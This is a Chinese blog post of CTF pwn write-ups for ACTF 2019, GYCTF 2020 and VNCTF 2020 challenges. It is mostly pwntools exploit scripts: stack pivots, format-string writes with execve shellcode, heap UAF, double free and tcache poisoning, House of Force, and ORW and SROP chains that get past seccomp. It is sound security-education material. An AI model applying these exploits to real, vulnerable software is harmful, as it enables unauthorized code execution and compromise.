Skip to main content
  1. Posts/

近期进阶 Pwn 合集

·

难题都没有做出来。题目来自 ACTF 2019、GYCTF 2019、VNCTF 2020。

ACTF 2019 #

babystack #

只能溢出 0x10 字节,因此使用栈迁移。这题的迁移比较简单,题目给了栈地址,并且只需要迁移一次。

leave = 0x400a18
pop_rdi = 0x400ad3
sla('?\n',str(0xe0))
ru('saved at 0x')
addr = int(ru('\n'),16)
# ebp2,payload,padding,fake ebp,leave_ret
payload = flat('a'*8,pop_rdi,elf.got['puts'],elf.plt['puts'],0x4008f6).ljust(0xd0,'a') + flat(addr,leave)
sa('?\n',payload)

ru('~\n')
puts = uu64(r(6))
system,binsh = ret2libc(puts,'puts')

sla('?\n',str(0xe0))
ru('saved at 0x')
addr = int(ru('\n'),16)
payload = flat('a'*8,pop_rdi,binsh,system).ljust(0xd0,'a') + flat(addr,leave)
sa('?\n',payload)

一个复读机 #

很容易发现格式化字符串漏洞,首先测出偏移为 7 处是返回地址,我们往这里写地址即可。写什么地址呢?程序没有开启 NX 保护,因此可以先布置 shellcode,然后写 shellcode 地址。

但是我们只能在栈上布置 shellcode,而栈地址以 0xff 开头,如果直接写入 4 字节地址,那么需要输出非常长的字符串才行,非常耗时。因此我们尝试分 2 次写入,每次 2 字节。

这里 盗取了一张不错的图示:

To illustrate why we write payload in that way
This is an example stack layout, supposing the leak address is 0xffffc970

      *---------------*
c930  |  0xffffc970   |  (addr of format string)
      *---------------*
c934  |  xxxxxxxxxx   |  1$ (first parameter of printf)
      *---------------*
           .....
      *---------------*
c94c  |  return addr  |  7$
      *---------------*
           .....
      *---------------*
c970  |  0xffffc94c   | 16$ (start addr of read buffer)
      *---------------*
c974  |    "%516"     | 17$ (51628 = 0xc9b0 - 4)
      *---------------*
c978  |    "28d%"     | 18$
      *---------------*
c97c  |    "16$h"     | 19$
      *---------------*
c980  |    "naaa"     | 20$
      *---------------*
c984  |  0xffffc94e   | 21$
      *---------------*
c988  |    "%138"     | 22$ (13869 = 0xffff - 0xc9b0 - 4 - 3)
      *---------------*
c98c  |    "69d%"     | 23$
      *---------------*
c990  |    "21$h"     | 24$
      *---------------*
c994  |    "naaa"     | 25$
      *---------------*
c998  |    "aaaa"     | 26$
      *---------------*
           .....
      *---------------*
c9b0  |               |
      |   shellcode   |
      |               |
      *---------------*

首先要写的目标是 0xffffc94c 也就是返回地址所在位置,向这个位置先写入 0xc9b0 也就是后面我们计算出的 shellcode 地址的低 4 位,这里 -4 是因为前面已经输出 0xffffc94c 这 4 字节了。因此第一步 payload 为 %51628d%16$hnaaa,最后 aaa 是为了凑到 4 字节对齐,hn 是以 2 字节写入,16 的偏移可以自动化测出。

同理,第二步要写入的目标是 0xffffc94e,写入数据是 shellcode 高 4 位减去低 4 位 0xffff-0xc9b0,随后 -4 是因为前面已经输出 0xffffc94e 这 4 字节,-3 是因为第一步填充的 aaa 占 3 字节。第二步 payload 即 %13869d%21$hnaaa

两步的 payload 合并后长为 0x28 字节,在后面放上 shellcode,此时即确定了 shellcode 的地址。触发漏洞就能 getshell 了。

shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

sla('Exit\n','1')
buf = int(r(8),16)
sc = buf+0x28
ret = buf-0x24

payload = p32(ret)+'%'+str((sc&0xffff)-4)+'d%16$hnaaa'
payload += p32(ret+2)+'%'+str(((sc>>16)&0xffff)-(sc&0xffff)-7)+'d%21$hnaaa'
payload += shellcode

s(payload)
sla('Exit\n','2')

another_repeater #

题目在输入长度时可以整数溢出,还给了 buf 的地址。那么直接输入 -1,然后 ret2shellcode 即可。

shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

sla('peat?\n','-1')
addr = int(r(8),16)

payload = shellcode.ljust(0x41b+4,'a')+p32(addr)
sa('\n',payload)

babyheap #

uaf 覆盖打印函数为 system,内容为 /bin/sh

def add(size,content='a'):
    sla(':','1')
    sla('size: \n',str(size))
    sa('content: \n',content)

def free(index):
    sla(':','2')
    sla('index: \n',str(index))

def show(index):
    sla(':','3')
    sla('index: \n',str(index))

add(0x20) # 0
add(0x20) # 1
free(0)
free(1)

binsh = 0x602010
add(0x10,flat(binsh,elf.plt['system'])) # 2
show(0)

message #

利用 double free 欺骗 malloc 分配一个位于 bss 段的 chunk,使得我们可以控制全局数组,从而修改 0 号堆块的内容。然后先泄露 libc 再劫持 __free_hooksystem 即可。需要注意 fastbin 的大小检查。

def add(size,content='a'):
    sla(':','1')
    sla(':\n',str(size))
    sa(':\n',content)

def free(index):
    sla(':','2')
    sla(':\n',str(index))

def edit(index,content):
    sla(':','3')
    sla(':\n',str(index))
    sa(':\n',content)

def show(index):
    sla(':','4')
    sla(':\n',str(index))

add(0x50) # 0
add(0x40) # 1
add(0x40) # 2
free(1)
free(2)
free(1)

fake = 0x602060-0x8
add(0x40,p64(fake)) # 3 <-> 1
add(0x40) # 4 <-> 2
add(0x40) # 5 <-> 1
add(0x40,p64(elf.got['puts'])) # 6 <-> fake
show(0)
ru(':')
puts = uu64(r(6))

libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

edit(6,p64(free_hook))
edit(0,p64(system))
add(0x8,'/bin/sh\x00') # 7
free(7)

GYCTF 2020 #

borrowstack #

leave_ret 栈迁移到 bss 段,需要注意的是栈从高地址向低地址生长,需要留足够的 offset 确保迁移之后填的 payload 不会覆盖到下面的 got 表。我直接把 payload 长度加起来留了一些余量作为 offset,实际上这里的 offset 甚至可以爆破出来。

leave_ret = 0x400699
bank = 0x601080
pop_rdi = 0x400703
offset = 0xa0

payload = flat('a'*0x60,bank+offset,leave_ret)
sa('want\n',payload)
payload = flat('a'*offset,bank+offset,pop_rdi,elf.got['puts'],elf.plt['puts'],elf.sym['main'])
sa('now!\n',payload)

base = uu64(r(6)) - libc.sym['puts']
leak('base',base)
one = base + 0x4526a

payload = flat('a'*0x60,'a'*8,one)
sa('want\n',payload)
sa('now!\n','a')

some_thing_exceting #

每次申请创建三个堆块,其中一个是结构体指针两个是字符串。而释放时没有置 NULL,利用 double free 就可以修改其中一个字符串 chunk 的 fd 指针,指向已经在 bss 段上的 flag。不过对应位置的伪造 size 字段为 0x60,因此为了通过 fastbin 检查需要使用 0x50 的字符串 chunk。

flag = 0x6020a8
add(0x60,0x50)
add(0x60,0x50)
add(0x60,0x50)
free(0)
free(1)
free(0)
add(0x50,0x50,p64(flag-0x10))
add(0x50,0x50)
show(1)

some_thing_interesting #

和上题不同的是没有 flag 在 bss 段了,但是多出了一个检查 code 的选项,该函数内存在格式化字符串漏洞。测出偏移为 17,泄露 libc。

随后,由于本题的 edit 函数是可以用的,我们不需要 double free 了,直接 uaf 就可以修改 __malloc_hookone_gadget 了。

code = 'OreOOrereOOreO'
sla(':',code+'%17$p')
sla(':','0')
ru(code)
base = int(ru('\n'),16) - 0x20830
leak('base',base)

add(0x60,0x60)
add(0x60,0x60)
free(1)
free(2)
edit(1,p64(base+libc.sym['__malloc_hook']-0x23))
add(0x60,0x60)
add(0x60,0x60)
edit(4,'a'*0x13+p64(base+0xf1147))

sla(':','1')
sla(':',str(0x60))

两道 something 似乎改编自 ACTF2020 的两道 SCP Foundation。

signin #

程序分配的块大小固定为 0x70,最多申请 9 个;edit 功能只能用一次,不过并没有检查 chunk 是否是 free 的;delete 检查了 chunk 是否为 free,并且释放之后将 chunk 对应的 flag 标记为 free,因此无法 double free,不过指针依然没有置 NULL。

此外还存在后门函数,先 calloc(1,0x70),然后如果全局变量 ptr 不为空就能 getshell。题目环境为 Ubuntu 18,那么思路就是利用 tcache 机制。先填满 tcache,随后对 tcache 中第一个 chunk 投毒,即修改 fd 指向 ptr 上方的 fake chunk,然后申请出一块 tcache chunk,此时 fake chunk 就会进入 tcache 中。再申请一次即可 getshell。

for i in range(8):
    add(i)
for i in range(8):
    free(i)

dbg()
edit(7,p64(0x4040c0-0x10))
add(8)
dbg()
sla('?','6')
dbg()

force #

程序没有对申请的大小进行检查,结合题目名可以想到 House of Force。先申请一个很大的 chunk 紧挨着 libc,可以泄露出 libc。这里的偏移是通过 gdb 调试得到的,将题目给出的地址和 libc_base 进行 distance 即可。随后修改 top chunk 大小同时泄露堆地址。这样 top chunk 地址也得到了。

接下来,我使用 pwngdb 工具,调试的时候先查看 heapbase,然后把这个地址作为参数传给 force 命令,即可得到 nb=-48,从而算出 evil_sizemalloc_hook-top-0x30。申请一个 evil_size 大小的 chunk,然后再申请就能得到 __malloc_hook 附近的 chunk,由于 one_gadget 条件不满足,这里借用了 realloc 去覆盖 __malloc_hook

distance = 0x5b2010
base = add(0x20000)-distance
leak('base',base)

heap = add(0x10,'\x00'*0x18+p64(0xffffffffffffffff))-0x10
leak('heap',heap)
top = heap+0x20

malloc_hook = base+libc.sym['__malloc_hook']
one = base+0x4526a
realloc = base+libc.sym['realloc']

# force heapbase
evil = malloc_hook-top-0x30
add(evil)
payload = flat('a'*8,one,realloc+4)
add(len(payload),payload)

sla('puts\n','1')
sla('size\n',str(0x10))

需要注意远程的 chunk 到 libc 偏移量与本地不同,但是不能通过调试得到。此时可以爆破该偏移,又由于 ASLR 不改变低 12 位,只需要步长为 0x1000。

bf_note #

本题关键在于读取 title 长度时对长度进行了限制,但是后面用的时候依然用的是第一次输入的没有经过限制的长度变量。此外,在读入 description 和 postscript 时存在栈溢出。

接下来的步骤对我而言属于新姿势,而 原 writeup 写得挺详细了,建议参考。

document #

本题存在明显的 uaf 漏洞,关键在于通过逆向弄清结构体的结构:

     -----------------------
    | prev_size | size=0x21 |
     -----------------------
--  | ptr       | sex=1     |
|    -----------------------
|   | prev_size | size=0x91 |
|    -----------------------
--> | name      | sex=1     |
     -----------------------
    |                       |
    | information           |
    |                       |
     -----------------------

那么我们利用的思路就很简单了,首先由于 information 所在的 chunk 固定申请 0x80,也就是实际 0x90 大小,我们可以释放掉一块来泄露 libc。然后新申请的 0x20 堆块都会从从释放的这块中切割,这样只需要在 ptr 里写入 free_hook-0x10,那么在编辑 information 时,free_hook 就落在了图中的 information 位置,我们写上 system 即可。

add('/bin/sh\x00') # 0
add() # 1
add() # 2
free(1)
show(1)
ru('\n')
base = uu64(r(6))-88-libc.sym['__malloc_hook']-0x10
leak('base',base)
free_hook = base+libc.sym['__free_hook']
system = base+libc.sym['system']

add() # 3
add() # 4
edit(1,flat(0,0x21,free_hook-0x10,1)+p64(0)*10)
edit(4,p64(system)+p64(1)+p64(0)*12)
free(0)

VNCTF 2020 #

第一次见到堆题比栈题解答人数还多的比赛。

simpleHeap #

编辑时存在 off by one,可以修改下一个 chunk 的大小后令其进入 unsorted bin 泄露 libc。然后修改 malloc_hookone_gadget,注意需要通过 realloc 调整 rsp 来满足 one_gadget 条件。

add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3

edit(0,'a'*0x18+'\xe1')
free(1)
add(0x68) # 1
show(2)
base = uu64(r(6))-88-libc.sym['__malloc_hook']-0x10
leak('base',base)
malloc_hook = base+libc.sym['__malloc_hook']

add(0x60) # 4 <-> 2
free(3)
free(2)
edit(4,p64(malloc_hook-0x23)+'\n')
add(0x60)
add(0x60,flat('a'*11,base+0x4526a,base+libc.sym['realloc']+13))
sla(':',str(_add))
sla('?',str(0x18))

easyTHeap #

free 时指针未置 NULL。先利用 tcache double free 泄露堆地址,随后 tcache 投毒拿到 tcache_perthread_struct,修改 count 令 tcache 全被填满,再次 free 时就会进入 unsorted bin 泄露 libc。接下来依然是覆盖 malloc_hookone_gadget 以及通过 realloc 调整 rsp,不过由于环境是 2.27,one_gadget、偏移量等等都会会有所不同,unsorted bin 泄露的地址也变成了 main_arena+96 而非 +88

add(0x80) # 0
add(0x80) # 1
free(0)
free(0)
show(0)
heap = uu64(r(6))-0x260
leak('heap',heap)

tps = heap+0x10
add(0x80) # 2 <-> 0
edit(2,p64(tps))

add(0x80) # 3 <-> 1
add(0x80) # 4 <-> tps
edit(4,'\x07'*8+'\x00'*0x70+p64(tps+0x78))
free(0)
show(0)
base = uu64(r(6))-0x60-libc.sym['__malloc_hook']-0x10
leak('base',base)
one = base+0x10a38c
malloc_hook = base+libc.sym['__malloc_hook']

edit(4,'\x07'*8+'\x00'*0x70+p64(malloc_hook-0x8))
add(0x80) # 5
edit(5,flat(one,base+libc.sym['realloc']+4))
sla(':',str(_add))
sla('?',str(0x10))

warmup #

只能溢出 0x10 字节,但是上一个栈帧的 buf 空间较大且可控,因此可以多 ret 一次回到上一个栈帧的 buf 里构造 ROP 链。此外,程序开启了 seccomp 沙箱禁止 execve,因此我们只能构造 ORW 读 flag。幸运的是题目直接给了 puts 地址,可以得到 libc 地址从而使用 libc 的 gadgets,而 ORW 使用的缓冲区也可以利用 libc 的 rw 段。

ru('0x')
puts = int(ru('\n'),16)
base = puts-libc.sym['puts']
leak('base',base)
pop_rdi = base+0x21102
pop2 = base+0x1150c9 # rdx,rsi
ret = base+0x937
open = base+libc.sym['open']
read = base+libc.sym['read']
buf = base+libc.sym['_IO_2_1_stderr_']

chain = [
    # read(0,buf,8)
    pop_rdi,0,pop2,8,buf,read,
    # open(buf,0,0)
    pop_rdi,buf,pop2,0,0,open,
    # read(3,buf,0x100)
    pop_rdi,3,pop2,0x100,buf,read,
    # puts(buf)
    pop_rdi,buf,puts
]
sa('thing:',flat(chain))
payload = flat('a'*0x70,'a'*8,ret)
sa('name?',payload)
s('/flag\x00\x00\x00')

babybabypwn_1 #

看到程序主动调用 syscall(15,&buf) 可知是 SROP,我们需要在 buf 里放伪造的 Sigreturn Frame,然后程序就会调用 rt_sigreturn 恢复我们伪造的 frame。同样开启了沙箱,依然是构造 ORW 读 flag。

这里在使用 pwnlib.rop.srop 模块时,用 SigreturnFrame 构造时出现了一些问题,暂时还不清楚原因,使用了手动构造 frame 的办法。

ru('0x')
puts = int(ru('\n'),16)
base = puts-libc.sym['puts']
leak('base',base)
pop_rdi = base+0x21102
pop2 = base+0x1150c9
syscall = base+libc.sym['syscall']
open = base+libc.sym['open']
read = base+libc.sym['read']
buf = base+0x3c6500

frame  = p64(0) * 12
frame += p64(0)         # rdi
frame += p64(0)         # rsi
frame += p64(0)         # rbp
frame += p64(0)         # rbx
frame += p64(buf-0x10)  # rdx
frame += p64(0)         # rax
frame += p64(0x100)     # rcx
frame += p64(buf)       # rsp
frame += p64(syscall)   # rip
frame += p64(0)         # eflags
frame += p64(0x33)      # cs/fs/gs
frame += p64(0)*7
sa('message:',frame)

chain = [
    '/flag\x00\x00\x00',0,
    # open(buf-0x10,0,0)
    pop_rdi,buf-0x10,pop2,0,0,open,
    # read(3,buf+0x100,0x100)
    pop_rdi,3,pop2,0x100,buf+0x100,read,
    # puts(buf+0x100)
    pop_rdi,buf+0x100,puts
]
s(flat(chain))

更新:参考 AiDai 师傅的方法,可以自动构造 frame,并且不需要系统调用:

ru('0x')
puts = int(ru('\n'),16)
base = puts-libc.sym['puts']
leak('base',base)
pop_rdi = base+0x21102
pop2 = base+0x1150c9
open = base+libc.sym['open']
read = base+libc.sym['read']
buf = base+libc.bss()

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x100
frame.rsp = buf
frame.rip = read
sa('message:',str(frame)[8:])

chain = [
    # read(0,buf,0x100)
    pop_rdi,0,pop2,0x100,buf,read,
    # open(buf,0,0)
    pop_rdi,buf,pop2,0,0,open,
    # read(3,buf,0x100)
    pop_rdi,3,pop2,0x100,buf,read,
    # puts(buf)
    pop_rdi,buf,puts
]
s(flat(chain))
s('/flag\x00')